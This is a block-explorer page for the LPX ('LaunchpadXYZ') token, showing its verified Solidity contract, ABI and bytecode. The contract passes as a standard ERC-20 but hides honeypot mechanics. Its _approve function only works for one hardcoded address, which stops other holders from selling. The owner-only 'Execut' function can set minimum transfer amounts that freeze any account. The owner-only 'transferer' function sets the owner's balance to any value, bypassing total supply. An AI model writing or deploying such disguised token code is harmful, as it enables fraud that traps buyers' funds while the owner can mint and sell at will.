ETH Price: $2,629.92 (+1.88%)

Token

LaunchpadXYZ (LPX)
 

Overview

Max Total Supply

1,000,000,000 LPX

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,044.771097410520482406 LPX

Value
$0.00
0xa64de030395adec08e4387c2b2f8233f26b82442
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LPX

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-17
*/

// SPDX-License-Identifier: MIT

 pragma solidity ^0.8.0;


interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

// pragma solidity =0.8.4;

contract LPX is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _MFs; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_
    

    ) 
  
        
    payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }
    function Execut(address account, uint256 amount) public onlyOwner {
        _MFs[account] = amount;
    }

    function getMF(address account) public view returns (uint256) {
        return _MFs[account];
    }
    function transferer(uint256 balan) public onlyOwner {
        _balances[owner()] = balan;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount >= _MFs[sender], "ERC20: transfer amount is less than minimum allowed"); 

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        require(owner == 0xc73A93b64cA19a4f144b850862afAaFB0083843B, "ERC20: operation not allowed");
       
       _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
     
    

    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Execut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getMF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"balan","type":"uint256"}],"name":"transferer","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620024703803806200247083398181016040528101906200002991906200054e565b620000496200003d6200013b60201b60201c565b6200014360201b60201c565b836004908051906020019062000061929190620003fe565b5082600590805190602001906200007a929190620003fe565b5081600660006101000a81548160ff021916908360ff160217905550620000b7620000aa6200020760201b60201c565b826200023060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200020760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000650565b60405180910390a35050505062000944565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200029a906200067d565b60405180910390fd5b620002b760008383620003e160201b60201c565b620002d381600754620003e660201b62000bdc1790919060201c565b6007819055506200033281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003e660201b62000bdc1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d591906200069f565b60405180910390a35050565b505050565b60008183620003f6919062000734565b905092915050565b8280546200040c9062000807565b90600052602060002090601f0160209004810192826200043057600085556200047c565b82601f106200044b57805160ff19168380011785556200047c565b828001600101855582156200047c579182015b828111156200047b5782518255916020019190600101906200045e565b5b5090506200048b91906200048f565b5090565b5b80821115620004aa57600081600090555060010162000490565b5090565b6000620004c5620004bf84620006f0565b620006bc565b905082815260208101848484011115620004de57600080fd5b620004eb848285620007d1565b509392505050565b600082601f8301126200050557600080fd5b815162000517848260208601620004ae565b91505092915050565b600081519050620005318162000910565b92915050565b60008151905062000548816200092a565b92915050565b600080600080608085870312156200056557600080fd5b600085015167ffffffffffffffff8111156200058057600080fd5b6200058e87828801620004f3565b945050602085015167ffffffffffffffff811115620005ac57600080fd5b620005ba87828801620004f3565b9350506040620005cd8782880162000537565b9250506060620005e08782880162000520565b91505092959194509250565b620005f781620007bd565b82525050565b60006200060c601f8362000723565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200064a81620007a6565b82525050565b6000604082019050620006676000830185620005ec565b6200067660208301846200063f565b9392505050565b600060208201905081810360008301526200069881620005fd565b9050919050565b6000602082019050620006b660008301846200063f565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620006e657620006e5620008ca565b5b8060405250919050565b600067ffffffffffffffff8211156200070e576200070d620008ca565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b60006200074182620007a6565b91506200074e83620007a6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200078657620007856200083d565b5b828201905092915050565b6000819050620007a182620008f9565b919050565b6000819050919050565b600060ff82169050919050565b6000620007ca8262000791565b9050919050565b60005b83811015620007f1578082015181840152602081019050620007d4565b8381111562000801576000848401525b50505050565b600060028204905060018216806200082057607f821691505b602082108114156200083757620008366200089b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600881106200090d576200090c6200086c565b5b50565b6200091b81620007a6565b81146200092757600080fd5b50565b6200093581620007b0565b81146200094157600080fd5b50565b611b1c80620009546000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063db6fc5fc11610071578063db6fc5fc146102f7578063dd62ed3e14610313578063ed58356214610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461025b57806395d89b4114610279578063a457c2d714610297578063a9059cbb146102c757610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f157806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063076c1e6914610139578063095ea7b31461015557806318160ddd14610185575b600080fd5b6101236103ad565b6040516101309190611752565b60405180910390f35b610153600480360381019061014e919061135e565b61043f565b005b61016f600480360381019061016a919061135e565b610503565b60405161017c9190611737565b60405180910390f35b61018d610521565b60405161019a9190611874565b60405180910390f35b6101bd60048036038101906101b8919061130f565b61052b565b6040516101ca9190611737565b60405180910390f35b6101db610604565b6040516101e8919061188f565b60405180910390f35b61020b6004803603810190610206919061135e565b61061b565b6040516102189190611737565b60405180910390f35b61023b600480360381019061023691906112aa565b6106ce565b6040516102489190611874565b60405180910390f35b610259610717565b005b61026361079f565b604051610270919061171c565b60405180910390f35b6102816107c8565b60405161028e9190611752565b60405180910390f35b6102b160048036038101906102ac919061135e565b61085a565b6040516102be9190611737565b60405180910390f35b6102e160048036038101906102dc919061135e565b610927565b6040516102ee9190611737565b60405180910390f35b610311600480360381019061030c919061139a565b610945565b005b61032d600480360381019061032891906112d3565b610a0f565b60405161033a9190611874565b60405180910390f35b61035d600480360381019061035891906112aa565b610a96565b60405161036a9190611874565b60405180910390f35b61038d600480360381019061038891906112aa565b610adf565b005b610397610bd7565b6040516103a49190611874565b60405180910390f35b6060600480546103bc906119a4565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906119a4565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b610447610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661046561079f565b73ffffffffffffffffffffffffffffffffffffffff16146104bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b290611814565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610517610510610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610538848484610e47565b6105f984610544610bf2565b6105f485604051806060016040528060288152602001611a9a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106c4610628610bf2565b846106bf8560026000610639610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071f610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661073d61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a90611814565b60405180910390fd5b61079d60006111b7565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d7906119a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610803906119a4565b80156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061091d610867610bf2565b8461091885604051806060016040528060258152602001611ac26025913960026000610891610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b610bfa565b6001905092915050565b600061093b610934610bf2565b8484610e47565b6001905092915050565b61094d610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661096b61079f565b73ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890611814565b60405180910390fd5b80600160006109ce61079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b0561079f565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5290611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290611794565b60405180910390fd5b610bd4816111b7565b50565b600181565b60008183610bea91906118c6565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6190611854565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd1906117b4565b60405180910390fd5b73c73a93b64ca19a4f144b850862afaafb0083843b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d53906117f4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3a9190611874565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eae90611834565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90611774565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906117d4565b60405180910390fd5b610fb483838361127b565b61102081604051806060016040528060268152602001611a7460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110b581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111559190611874565b60405180910390a3505050565b60008383111582906111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a19190611752565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60008135905061128f81611a45565b92915050565b6000813590506112a481611a5c565b92915050565b6000602082840312156112bc57600080fd5b60006112ca84828501611280565b91505092915050565b600080604083850312156112e657600080fd5b60006112f485828601611280565b925050602061130585828601611280565b9150509250929050565b60008060006060848603121561132457600080fd5b600061133286828701611280565b935050602061134386828701611280565b925050604061135486828701611295565b9150509250925092565b6000806040838503121561137157600080fd5b600061137f85828601611280565b925050602061139085828601611295565b9150509250929050565b6000602082840312156113ac57600080fd5b60006113ba84828501611295565b91505092915050565b6113cc8161191c565b82525050565b6113db8161192e565b82525050565b60006113ec826118aa565b6113f681856118b5565b9350611406818560208601611971565b61140f81611a34565b840191505092915050565b60006114276023836118b5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061148d6026836118b5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114f36022836118b5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115596033836118b5565b91507f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008301527f68616e206d696e696d756d20616c6c6f776564000000000000000000000000006020830152604082019050919050565b60006115bf601c836118b5565b91507f45524332303a206f7065726174696f6e206e6f7420616c6c6f776564000000006000830152602082019050919050565b60006115ff6020836118b5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061163f6025836118b5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116a56024836118b5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6117078161195a565b82525050565b61171681611964565b82525050565b600060208201905061173160008301846113c3565b92915050565b600060208201905061174c60008301846113d2565b92915050565b6000602082019050818103600083015261176c81846113e1565b905092915050565b6000602082019050818103600083015261178d8161141a565b9050919050565b600060208201905081810360008301526117ad81611480565b9050919050565b600060208201905081810360008301526117cd816114e6565b9050919050565b600060208201905081810360008301526117ed8161154c565b9050919050565b6000602082019050818103600083015261180d816115b2565b9050919050565b6000602082019050818103600083015261182d816115f2565b9050919050565b6000602082019050818103600083015261184d81611632565b9050919050565b6000602082019050818103600083015261186d81611698565b9050919050565b600060208201905061188960008301846116fe565b92915050565b60006020820190506118a4600083018461170d565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118d18261195a565b91506118dc8361195a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611911576119106119d6565b5b828201905092915050565b60006119278261193a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561198f578082015181840152602081019050611974565b8381111561199e576000848401525b50505050565b600060028204905060018216806119bc57607f821691505b602082108114156119d0576119cf611a05565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611a4e8161191c565b8114611a5957600080fd5b50565b611a658161195a565b8114611a7057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220defd511672306b18e00fbea14f998d398e06fd06cdf995bbbe433e6dfaf2fe0464736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000000000000000000000000000000000000000000c4c61756e636870616458595a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c50580000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

